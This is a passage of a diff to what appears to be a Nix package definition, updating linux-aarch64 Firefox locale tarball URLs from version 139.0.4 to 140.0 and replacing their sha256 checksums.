"linux-aarch64"; - sha256 = "aa5fb1e9e707df84d1429c9e142cf1f2055f34da3f16637d96e6df251288e291"; + sha256 = "dcbfee58cb12d750681a3657795ddee402823725a6bcbee491dd3540f1d9d536"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/an/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/an/firefox-140.0.tar.xz"; locale = "an"; arch = "linux-aarch64"; - sha256 = "d81540e5421ffec2d304aa170c18312587299de64c31bfcd702bb47fbe3632b0"; + sha256 = "d7596e43acb927810599559a6c64684bd8a8b150534743e99d1aafd6605d796c"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ar/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ar/firefox-140.0.tar.xz"; locale = "ar"; arch = "linux-aarch64"; - sha256 = "c450168bf703e95ff56eefbd74e8c46d05ddda4d2bd305540a8849958a6283d4"; + sha256 = "61aed3a99cb3d8b9e73a1840eed20be5e5fee11cb8267934f43850e62340265e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ast/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ast/firefox-140.0.tar.xz"; locale = "ast"; arch = "linux-aarch64"; - sha256 = "02e2382dc6c35cd06385ab7c3c3c3c73cebe9ce7e25047911d9503a77f7d4ac4"; + sha256 = "1f0660efdd4126ff867edeeb506250c13500ec06b6027591334de9cdc4160b16"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/az/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/az/firefox-140.0.tar.xz"; locale = "az"; arch = "linux-aarch64"; - sha256 = "a9eb519fb77528ab492d01b8d121553ebf25d4ed20fe05b4b6592fbef1d7c7a6"; + sha256 = "b2f3503228319b98a1e9efea27efe06510f4c8adfba578d27717426383fab577"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/be/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/be/firefox-140.0.tar.xz"; locale = "be"; arch = "linux-aarch64"; - sha256 = "e9a41ec7d9a082935d6f2a60344e1d7c04c18771ee5d64988f862bb2be55b783"; + sha256 = "d1c320e76dbcc3bbbc1d2b5ff1d9473bb029e7e32228459c463209954fb135a0"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/bg/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/bg/firefox-140.0.tar.xz"; locale = "bg"; arch = "linux-aarch64"; - sha256 = "d494965d72a0fcc08e5ef743dc3fd24c1ab1c9a204ad1a080069e2bc65024b09"; + sha256 = "093ca4ab96bfc4c53226cad25c6598748a1de256a65d751fb502137641276aaf"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/bn/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/bn/firefox-140.0.tar.xz"; locale = "bn"; arch = "linux-aarch64"; - sha256 = "1268bfb3ea7c9d44bc7b4a905d1d9547045bb405b89a7e95fa855ac6c4818690"; + sha256 = "fa1144dc09cc3222fc8b0beedc8f1e3744a659afa3a592a5bd808588bebb0027"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/br/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/br/firefox-140.0.tar.xz"; locale = "br"; arch = "linux-aarch64"; - sha256 = "46d998f97d1d61a03fdfaa0af5c882d8ed376eefa2a843323e538aff1f61e005"; + sha256 = "dd05859ffd2c9e24971fb008872ae1b6ec6c824727946412e715ec2643292d86"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/bs/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/bs/firefox-140.0.tar.xz"; locale = "bs"; arch = "linux-aarch64"; - sha256 = "9e4d2eb785ecdd8032a8db6f4c6dc728ba5f66f39ecd80951ab5b62c70aade72"; + sha256 = "339751b3b3f677f2aab64a8810e010a0c7beb10f302f7b3bb8a53fac5129afbd"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ca-valencia/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ca-valencia/firefox-140.0.tar.xz"; locale = "ca-valencia"; arch = "linux-aarch64"; - sha256 = "ba707f4d818ec61c6ff7bf12ae1955b322a0b849d4bc9ebd43f6cf722fab7c4a"; + sha256 = "d34cec4309053b0052eff56a3945c591bff1a31018271938434299d54ef9fa16"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ca/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ca/firefox-140.0.tar.xz"; locale = "ca"; arch = "linux-aarch64"; - sha256 = "27537f26f75f8a5569f5be5e660183370a37196c679ed2a30a98a10ed4f35433"; + sha256 = "efcf4359152b1e20944d53ec17de7ec88636db5fd1a6aee1df9a50387f264410"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/cak/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/cak/firefox-140.0.tar.xz"; locale = "cak"; arch = "linux-aarch64"; - sha256 = "15c59a9a1c580363e55d7bd0849e6c4ed1edf0dba06ea4752d9d183816a5f9f8"; + sha256 = "78436756dbb435afac86367a6da54e65e92ccbc3cb376f527b28e134f64d0367"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/cs/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/cs/firefox-140.0.tar.xz"; locale = "cs"; arch = "linux-aarch64"; - sha256 = "a48b8edf3dfc26177f62e67eae803b33ec1d682de8e47610ba738cecda6b7d67"; + sha256 = "6685742f6e2f6840b81c89c3495c9419a189c22b3cf245cbe991e0fd77269b39"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/cy/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/cy/firefox-140.0.tar.xz"; locale = "cy"; arch = "linux-aarch64"; - sha256 = "ce62f2ed99700e205bdd7f33da5e1a449e08f978eaea2e589aef93fd4bffc6c3"; + sha256 = "64c9012f46b828d89db623a1efab5f510936b5fe9d67d7df8dd816489c222f8e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/da/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/da/firefox-140.0.tar.xz"; locale = "da"; arch = "linux-aarch64"; - sha256 = "4999f6e1ad62df71024aa60690adda3c61b71d0f45283a9d11a7d4145f861f65"; + sha256 = "ad58c524f36bececf9aaf0630f2ed1963a97e550a791bf39405e5d74d4127bdf"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/de/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/de/firefox-140.0.tar.xz"; locale = "de"; arch = "linux-aarch64"; - sha256 = "68ae79e7e04bbf6aba7231887c0b3a3d3fd7d3183bfe41ad08b2443fddcd1002"; + sha256 = "868cdc964e745d0fb751514279be82ea680e0721bd5548ab9dacae0075bd18cc"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/dsb/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/dsb/firefox-140.0.tar.xz"; locale = "dsb"; arch = "linux-aarch64"; - sha256 = "c1cff3c3535d70efbd0ac9bd3c68ed6c99b45a7b9ad7763f7a601fecbb032023"; + sha256 = "3b5ba7aca878e4816efa1cf2d5142525285c94d195e27b2895228b48f8d65ba6"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/el/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/el/firefox-140.0.tar.xz"; locale = "el"; arch = "linux-aarch64"; - sha256 = "d663076f5dc885d88c7be9c7305c81ceed9c47073c09e12d688c8353328cb83b"; + sha256 = "24163f2144da95b4a2592e3e0fac6959ab59dbcf39af58c96f50ef3dbbd6be91"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/en-CA/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/en-CA/firefox-140.0.tar.xz"; locale = "en-CA"; arch = "linux-aarch64"; - sha256 = "ec8fc28141b1782c9f2e8ad4e8c727213e32183be318d2933f10858e008bba81"; + sha256 = "cc5e50fb214b9ca8c66c154cd8d8fda2cdfb76a0ed278dfc816db7fc3cbf925a"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/en-GB/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/en-GB/firefox-140.0.tar.xz"; locale = "en-GB"; arch = "linux-aarch64"; - sha256 = "b984c4ce0a6ef874a7fe8e36e447de0b60c06af95a90b965fd137dea01102bdb"; + sha256 = "c1151d90cbe870275993f7e8ce07f11d9accffa450bb4b8aeaf67dd2d8ca4423"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/en-US/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/en-US/firefox-140.0.tar.xz"; locale = "en-US"; arch = "linux-aarch64"; - sha256 = "b59b346c9e671de73ffa4f5b5c72b98a91918849d31988c3251f8e91bdbb72b6"; + sha256 = "ee6fadf005a4a833debe5dabf13efbc43498270a584219fa0594f03c3f590007"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/eo/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/eo/firefox-140.0.tar.xz"; locale = "eo"; arch = "linux-aarch64"; - sha256 = "59785f561ae0f63bf9f93a02163c15bd26eb4a5d0c50a34a45cf239741370b61"; + sha256 = "d9669dc2ce9b1e4fe0b97d68c2959c6029d73fe82649a40815f1553557c1b5da"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/es-AR/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/es-AR/firefox-140.0.tar.xz"; locale = "es-AR"; arch = "linux-aarch64"; - sha256 = "bef36861d98bb216e88a058bc59dec24d8e283ba0dc9bf7a5127953eb380bc0f"; + sha256 = "b9204fcddbcda0bc2eeb7a5d62dbfe9a250b8ac71b2d0137c53ff66bb77cea88"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/es-CL/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/es-CL/firefox-140.0.tar.xz"; locale = "es-CL"; arch = "linux-aarch64"; - sha256 = "a12d5e40d9e5be9378f38be23a392b84ad0a834a1457f64b8764ebf8c005996a"; + sha256 = "b019c76a5b039c6349fcd8d87f9401ee2bd59e51cb7a4c3c71fa0ff781c7c0c3"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/es-ES/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/es-ES/firefox-140.0.tar.xz"; locale = "es-ES"; arch = "linux-aarch64"; - sha256 = "4367810587bedae2ea641744068a9525dcdd5be0cea615797903c4c7e6ad55e1"; + sha256 = "3b58ea93353f618e9b4d1d03bcb5a35b09ebbcb64a4dae5359d40120c85fdd07"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/es-MX/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/es-MX/firefox-140.0.tar.xz"; locale = "es-MX"; arch = "linux-aarch64"; - sha256 = "afb6b459940b41b2df8b548b7d7e11804ed3d9da414e5cbfe1bc44072b4ca276"; + sha256 = "8705a9764ded2fcd1d3ca1a2d192ab6240c01fe52783faf107223b288add4bee"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/et/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/et/firefox-140.0.tar.xz"; locale = "et"; arch = "linux-aarch64"; - sha256 = "7d6958124f15eb18dca3bc54ed5e39716d3cf684adf46ba7d6e9572221f5d422"; + sha256 = "4734f1ca8076bcc733b81509df49fdc98e1e4f9c5c32792791f9dc6d70b2c010"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/eu/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/eu/firefox-140.0.tar.xz"; locale = "eu"; arch = "linux-aarch64"; - sha256 = "7138126b3f15555cb03407820a409b756e37b33724b7aaaebde0c4044d84040a"; + sha256 = "f360e4f9845ff2b4117904625e08bf51c388c877af1cdf197938fd3e156ba0b5"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/fa/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/fa/firefox-140.0.tar.xz"; locale = "fa"; arch = "linux-aarch64"; - sha256 = "76a0973988a103276071e610ee86f93a24ca25a7009bb19e6e088376a09896aa"; + sha256 = "ad60e83e349cee74ed100bd1f3a9ce0d404405c6fe6e96773c955b743a9d4956"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ff/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ff/firefox-140.0.tar.xz"; locale = "ff"; arch = "linux-aarch64"; - sha256 = "b6e6d90c6bc697161d654ff6012441181c2d9865fd4cd1fc68de32ab774a976d"; + sha256 = "3952ec8bd22d9fc186738ec2fccb1ed2d1af748effd6aa4de7d4e37c6f7645fe"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/fi/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/fi/firefox-140.0.tar.xz"; locale = "fi"; arch = "linux-aarch64"; - sha256 = "123d5ed0791af1efc678ef66dbd5d32b2471778cca369db221b08357d334b4ef"; + sha256 = "3d2bf8f57014058e7c90155808bf971287cc145309126a4ef1cebab2e3cad8e9"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/fr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/fr/firefox-140.0.tar.xz"; locale = "fr"; arch = "linux-aarch64"; - sha256 = "0c42d4d1a2eabe8bd47ba98a07f17cd0b8d65b8095ee10fdb267776940fc67a0"; + sha256 = "a6070dbe45a468338f10b2754718cc938e4420e39efff16c7c65290ddc49a1bc"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/fur/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/fur/firefox-140.0.tar.xz"; locale = "fur"; arch = "linux-aarch64"; - sha256 = "b0226617fbccdb8eeb2ff725df50b7cc5abd3b3f5812950da35724a4ba05bd23"; + sha256 = "1c6696ccef61e8e9618b963393cc700d03914b3e526b95df50c8ac72018bad28"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/fy-NL/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/fy-NL/firefox-140.0.tar.xz"; locale = "fy-NL"; arch = "linux-aarch64"; - sha256 = "3258d3615d1f6ca53a401da36ec79f8c3fff806c4ab464267049c13c2bcebd70"; + sha256 = "36ecf8e1b3528c9455aed04ed257d482ae26973cbd5d3355598d7d2e52ad8c5c"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ga-IE/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ga-IE/firefox-140.0.tar.xz"; locale = "ga-IE"; arch = "linux-aarch64"; - sha256 = "150a762bf9250bee6cac653973d3de117d1742478ae38b19e27dd7b32d5433cb"; + sha256 = "dcf4ab78577ccc8d4b01ab1064270ff5afb122f8421bc90d233a376315c11db4"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/gd/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/gd/firefox-140.0.tar.xz"; locale = "gd"; arch = "linux-aarch64"; - sha256 = "a1c2964046d07c3e75aaa0c5fed25faaadeb035b07b7b58a2773992ec62aad5e"; + sha256 = "c4ea08226d591cfadc63e5eb25dcab1ca4cc4c9bce3eb5928e592d24cb91f28d"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/gl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/gl/firefox-140.0.tar.xz"; locale = "gl"; arch = "linux-aarch64"; - sha256 = "8ed6a5d0f2e468be74ae1748fb06638ba6334c9a7ac67f7242c67d039ad6873a"; + sha256 = "1830af229f1d34900907dd57c35ecdcbf474cf45781c92a1198b299edd531638"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/gn/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/gn/firefox-140.0.tar.xz"; locale = "gn"; arch = "linux-aarch64"; - sha256 = "fd2c91b162ce8f8061d33d0fa482454247c3a8e3586dd63bdea2661b4f7c715d"; + sha256 = "dd10b2c75a1ad910189e68b019acc841050e4bf1e84b709fd4a4a8af8b985418"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/gu-IN/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/gu-IN/firefox-140.0.tar.xz"; locale = "gu-IN"; arch = "linux-aarch64"; - sha256 = "b2e606a4cac7109f532f755be363486a1d675b547ece41c909923b3da412eb5f"; + sha256 = "70b9c2a83af23b415f1ac959f91f7455cf328dc24451a34dda56d73ceed65f63"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/he/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/he/firefox-140.0.tar.xz"; locale = "he"; arch = "linux-aarch64"; - sha256 = "7dcd61cb1a244dacf7baf2a62f5d6e2bc49cec1fde0ffc7016c8b1e07c899629"; + sha256 = "74dc21a13b7f4ba88e65c7a1e351d5f3a0098761ff3a3700c72312cb92db8dd9"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/hi-IN/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/hi-IN/firefox-140.0.tar.xz"; locale = "hi-IN"; arch = "linux-aarch64"; - sha256 = "200769ad72f55a409325e3448e1101235c7e2bc79921c84cc9b490c6963e90ae"; + sha256 = "7a30df65e8621f47b115864ac8c0be810ae8701536613e49f1eb21284706091b"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/hr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/hr/firefox-140.0.tar.xz"; locale = "hr"; arch = "linux-aarch64"; - sha256 = "0c9420f07e89e8521157086b813172328a5e16ae1d2bc7871ddba1bb0d17c5af"; + sha256 = "527623ebecfc8266eec16f9351e3c93870187f2546a4546d29fdf59359f97a7a"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/hsb/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/hsb/firefox-140.0.tar.xz"; locale = "hsb"; arch = "linux-aarch64"; - sha256 = "27ef785504bf2f8bf8c2cca9d64ba186bf524084808f95eb4f8ec32f341560ce"; + sha256 = "777e5004b2a64beca9840823da0ae73f9ed9b3fb0c068d0e1282ba3711461afc"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/hu/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/hu/firefox-140.0.tar.xz"; locale = "hu"; arch = "linux-aarch64"; - sha256 = "f3ca60ad21b7018ba81a49169b1facce8fd60ba02865315bae43ceb03515e0fd"; + sha256 = "1a2260dfa3efa59b2eb8f60e4096073404302315c327e3c6b84623e83cb47363"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/hy-AM/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/hy-AM/firefox-140.0.tar.xz"; locale = "hy-AM"; arch = "linux-aarch64"; - sha256 = "31ccd33e188417a6e70b8175a75e3ff74121b8d2b34129d18513813a93f8cbc5"; + sha256 = "4268af4fc7c4eb4f70073d1843d727fef4eae1a8d46538480fcb12435bca12c3"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ia/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ia/firefox-140.0.tar.xz"; locale = "ia"; arch = "linux-aarch64"; - sha256 = "801c272c3103376127f8d42580b72c4122e8393390d9131ab8a3a0407fcf3361"; + sha256 = "883ffec6df98a49be7eab9491a480a15bd4c8dea33327213110ebcf9525dc6f6"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/id/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/id/firefox-140.0.tar.xz"; locale = "id"; arch = "linux-aarch64"; - sha256 = "ec6b300a7a8a56f53d073dd2701ebd09e1e1135a9d1c172608a3ea5e5a547f62"; + sha256 = "8ab8cb04defaec64b84c07b2f970e50cae3ccd663fd652c1886e63548bf347a3"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/is/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/is/firefox-140.0.tar.xz"; locale = "is"; arch = "linux-aarch64"; - sha256 = "35a509b08306b57a9070afba7af4d84d4b4cbc9d3134d7a404fd6e868540a7e0"; + sha256 = "9418275c7171afef7d245999c15772fe59d72b24fcff6c36feba513d97093672"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/it/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/it/firefox-140.0.tar.xz"; locale = "it"; arch = "linux-aarch64"; - sha256 = "3ae8722ad53868202863eb5d7aa9dbf374a0976f56d91af64592c4f36ec931ec"; + sha256 = "7387bd3f54ea876fa8de603a68064f9a9741253db5ef035f47cac057ea8a5b54"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ja/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ja/firefox-140.0.tar.xz"; locale = "ja"; arch = "linux-aarch64"; - sha256 = "53bbccb2da46849c7b3c213eceb17464fa51ed6c17da52428005d7cdc82f3b9e"; + sha256 = "ee86f17d10c9c31bda010ca28ea420da595463cff1cf4c327cc8e8ccccc9ef7f"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ka/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ka/firefox-140.0.tar.xz"; locale = "ka"; arch = "linux-aarch64"; - sha256 = "ef111ba916afc60e16e3ccaf098d7e990d24224b72b4128d583de1f6df678d19"; + sha256 = "09f6cbc5ca7af19550a1345c3ece159e221a638c8581b018541aa4a01f7585f5"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/kab/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/kab/firefox-140.0.tar.xz"; locale = "kab"; arch = "linux-aarch64"; - sha256 = "c45c8fb00c6466eaba03d85f76af53e5fa31adadeb77cc0f05508cabf933164a"; + sha256 = "8a8cce56b466aec4ae3b9eef666c701e2255e005e7146bf212a1286d2081fc56"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/kk/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/kk/firefox-140.0.tar.xz"; locale = "kk"; arch = "linux-aarch64"; - sha256 = "429007e329666ceb00f9cf94742ce821d8b99f2dfab224a32b73390652aa12e5"; + sha256 = "fc4fa20d7eb321f97e8804eb6075c64db22c5e49abc27aa08b113e772f80238b"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/km/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/km/firefox-140.0.tar.xz"; locale = "km"; arch = "linux-aarch64"; - sha256 = "5afb548f21199ac57e14a980d900cca7c660815e2929b25b87d772bfdb238ecb"; + sha256 = "c5f87863b190c56c48a21f20527b0fd292cd87ea091b73e6bd537b6d047207af"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/kn/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/kn/firefox-140.0.tar.xz"; locale = "kn"; arch = "linux-aarch64"; - sha256 = "b1d8c9c0c116e0f5dd9f666e78c3a4036cb99b9e3c0c790214495a315a2fbfed"; + sha256 = "f596f4e433dbd7513aa62a30b196202880bd4bcff2c36df9c25b86d8a0c6a183"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ko/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ko/firefox-140.0.tar.xz"; locale = "ko"; arch = "linux-aarch64"; - sha256 = "1c17fe426a94ec40b6f8e9e66d47ff8dac8ce5aab84ce6a41c38949dd2598643"; + sha256 = "d436db9db8e6c980544ee379fd6eff4c9224cc2a7f8acab96149a086dcc03dd6"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/lij/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/lij/firefox-140.0.tar.xz"; locale = "lij"; arch = "linux-aarch64"; - sha256 = "3b7f171db231c0033df14ee114a515d76240e6b4e09ef17830742db184618b19"; + sha256 = "be1e4cd0ca89426842bd516fabb4d6e52d42fdb7270f2a629fbd8688d93fd28a"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/lt/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/lt/firefox-140.0.tar.xz"; locale = "lt"; arch = "linux-aarch64"; - sha256 = "5fcb5b1319faa335e49019722c28dd2056694d00c4e75c6d2ac069c6a23766e5"; + sha256 = "555b15e0479505f2cb84413538805202927310cee4da1c60d78197aa070aeb23"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/lv/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/lv/firefox-140.0.tar.xz"; locale = "lv"; arch = "linux-aarch64"; - sha256 = "22694a5bc3a735208bb88e37daf713cef9c96bb82c131f9adb5f45e67755657c"; + sha256 = "3316aeb17791bf180fbddaaf5e2e945c45ef4a6531b3ad095ddf7a1c00d961ae"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/mk/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/mk/firefox-140.0.tar.xz"; locale = "mk"; arch = "linux-aarch64"; - sha256 = "6b7ca8e14e8562d81a4d290d2bde8ee18b5980d9cb98558053f49c1543e74b41"; + sha256 = "01b63debae69c066328daeff5421a081029aefb8b7da054516a6890180f4d594"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/mr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/mr/firefox-140.0.tar.xz"; locale = "mr"; arch = "linux-aarch64"; - sha256 = "285287a5a5b0e47f1247a36d180abdb85100e81a674b886f1ff82455569c43ad"; + sha256 = "3183e1e208e3ccb9ecee0b8d2a550958cf56283e3af129a4225ca2fab1747956"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ms/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ms/firefox-140.0.tar.xz"; locale = "ms"; arch = 